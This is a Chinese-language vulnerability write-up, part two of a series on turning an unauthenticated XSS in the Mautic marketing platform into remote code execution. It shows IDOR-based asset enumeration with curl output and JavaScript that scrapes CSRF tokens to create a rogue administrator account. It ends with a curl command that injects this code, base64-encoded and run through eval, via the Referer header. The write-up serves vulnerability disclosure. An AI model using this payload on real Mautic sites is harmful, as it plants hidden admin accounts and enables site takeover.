主页 > 网络知识 > 漏洞分析:从Mautic中的未认证XSS到远程代码执行(RCE)(2)

漏洞分析:从Mautic中的未认证XSS到远程代码执行(RCE)(2)

 

漏洞分析:从Mautic中的未认证XSS到远程代码执行(RCE)

 

对于Mautic表单,我们发现表单变量mautic[return]包含了referrer信息,并且存在XSS Payload注入问题。

漏洞利用 识别资产和表单

从一开始,查看Mautic站点的攻击者首先需要能够识别要攻击的表单和资产。这很容易实现,因为表单和资产由自动递增的整数标识。要识别Mautic表单或资产,攻击者只需按整数id顺序枚举表单和资产,即可找到有效的表单和资产,这也就是传说中的不安全的直接对象引用(IDOR)。这本身不是一个严重的问题,除非还存在其他应用程序漏洞。

特别是对于Mautic资产,完整的下载URL包括资产的“别名”,这是它的简称。但是我们发现,如果在向Mautic请求资产id的时候后面只跟一个“:”的话,Mautic则会自动重定向到完整的资产下载URL,如下面的Location Header所示。这样一来,攻击者就可以枚举出完整的资产列表了,而枚举Mautic表单则不需要这个额外的步骤:

sh-3.2# curl -v : *   Trying 192.168.0.116... * TCP_NODELAY set * Connected to 192.168.0.116 (192.168.0.116) port 80 (#0) > GET /asset/1: HTTP/1.1 > Host: 192.168.0.116 > User-Agent: curl/7.64.1 > Accept: */* > < HTTP/1.1 301 Moved Permanently < Date: Sat, 16 Jan 2021 18:11:30 GMT < Server: Apache < X-Powered-By: PHP/7.3.25 < X-Frame-Options: SAMEORIGIN < Vary: Cookie < Location: /asset/1:testpdf < Transfer-Encoding: chunked < Content-Type: text/html; charset=UTF-8 < < ... TRUNCATED ... > 创建一个管理员用户

通过识别资产或表单,攻击者可以创建XSS Payload。现在,我们想要构造一个XSS Payload,并在合法的Mautic管理员用户查看“Downloads of all Assets”报告时自动创建一个管理员用户。

下图显示的是在Mautic接口的“Users - New User”页面创建一个管理员用户:

 

漏洞分析:从Mautic中的未认证XSS到远程代码执行(RCE)

 

这个页面有两个令牌保护:一个Ajax CSRF令牌和一个用户CSRF令牌。所以XSS Payload中的第一步就是获取“Users - New User”页面并提取CSRF令牌。这部分代码如下所示:

function getTokens() {     xhttp = new XMLHttpRequest();     xhttp.open('GET', '/s/users/new', false)     xhttp.send();     t=xhttp.responseText;     csrfToken = t.split('mauticAjaxCsrf')[1].split("'")[1].split("'")[0];     userToken = t.split('name="user[_token]"')[1].split('value="')[1].split('"')[0];     return [csrfToken, userToken] }

下一步就是使用管理员权限创建一个用户了,这部分代码如下所示:

function createUser(tokens) {     xcreate = new XMLHttpRequest();     xcreate.open('POST', '/s/users/new', false);     xcreate.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');     xcreate.setRequestHeader('X-CSRF-Token', tokens[0]);     payload='user%5BfirstName%5D=Mautic-IT&user%5BlastName%5D=User&user%5Brole%5D=1&user%5Bposition%5D=&user%5Bsignature%5D=Best+regards%2C+%7CFROM_NAME%7C&user%5Busername%5D=mautic-it&user%5Bemail%5D=mautic-it%40example.com&user%5BplainPassword%5D%5Bpassword%5D=test123&user%5BplainPassword%5D%5Bconfirm%5D=test123&user%5Btimezone%5D=&user%5Blocale%5D=&user%5BisPublished%5D=1&user%5Bbuttons%5D%5Bsave%5D=&user%5B_token%5D=' + tokens[1];     xcreate.send(payload); } createUser(getTokens());

上述代码将创建一个用户名为mutic-it的用户,密码为test123,并分配管理员权限。

我们将其整合进XSS Payload中:

sh-3.2# curl -o test.pdf -v 'http://192.168.0.116/asset/1:testpdf' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H $'Referer: <img/src="doesnotexist.jpg" onerror="eval(window.atob('ZnVuY3Rpb24gZ2V0VG9rZW5zKCkgewogICAgeGh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgIHhodHRwLm9wZW4oJ0dFVCcsICcvcy91c2Vycy9uZXcnLCBmYWxzZSkKICAgIHhodHRwLnNlbmQoKTsKICAgIHQ9eGh0dHAucmVzcG9uc2VUZXh0OwogICAgY3NyZlRva2VuID0gdC5zcGxpdCgnbWF1dGljQWpheENzcmYnKVsxXS5zcGxpdCgiJyIpWzFdLnNwbGl0KCInIilbMF07CiAgICB1c2VyVG9rZW4gPSB0LnNwbGl0KCduYW1lPSJ1c2VyW190b2tlbl0iJylbMV0uc3BsaXQoJ3ZhbHVlPSInKVsxXS5zcGxpdCgnIicpWzBdOwogICAgcmV0dXJuIFtjc3JmVG9rZW4sIHVzZXJUb2tlbl0KfQpmdW5jdGlvbiBjcmVhdGVVc2VyKHRva2VucykgewogICAgeGNyZWF0ZSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgeGNyZWF0ZS5vcGVuKCdQT1NUJywgJy9zL3VzZXJzL25ldycsIGZhbHNlKTsKICAgIHhjcmVhdGUuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOwogICAgeGNyZWF0ZS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkYtVG9rZW4nLCB0b2tlbnNbMF0pOwogICAgcGF5bG9hZD0ndXNlciU1QmZpcnN0TmFtZSU1RD1NYXV0aWMtSVQmdXNlciU1Qmxhc3ROYW1lJTVEPVVzZXImdXNlciU1QnJvbGUlNUQ9MSZ1c2VyJTVCcG9zaXRpb24lNUQ9JnVzZXIlNUJzaWduYXR1cmUlNUQ9QmVzdCtyZWdhcmRzJTJDKyU3Q0ZST01fTkFNRSU3QyZ1c2VyJTVCdXNlcm5hbWUlNUQ9bWF1dGljLWl0JnVzZXIlNUJlbWFpbCU1RD1tYXV0aWMtaXQlNDBleGFtcGxlLmNvbSZ1c2VyJTVCcGxhaW5QYXNzd29yZCU1RCU1QnBhc3N3b3JkJTVEPXRlc3QxMjMmdXNlciU1QnBsYWluUGFzc3dvcmQlNUQlNUJjb25maXJtJTVEPXRlc3QxMjMmdXNlciU1QnRpbWV6b25lJTVEPSZ1c2VyJTVCbG9jYWxlJTVEPSZ1c2VyJTVCaXNQdWJsaXNoZWQlNUQ9MSZ1c2VyJTVCYnV0dG9ucyU1RCU1QnNhdmUlNUQ9JnVzZXIlNUJfdG9rZW4lNUQ9JyArIHRva2Vuc1sxXTsKICAgIHhjcmVhdGUuc2VuZChwYXlsb2FkKTsKfQpjcmVhdGVVc2VyKGdldFRva2VucygpKTs='))">'

此时,当合法的Mautic管理员用户查看“Top Referrers”报告时,将会触发XSS Payload,并创建另一个管理员用户。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!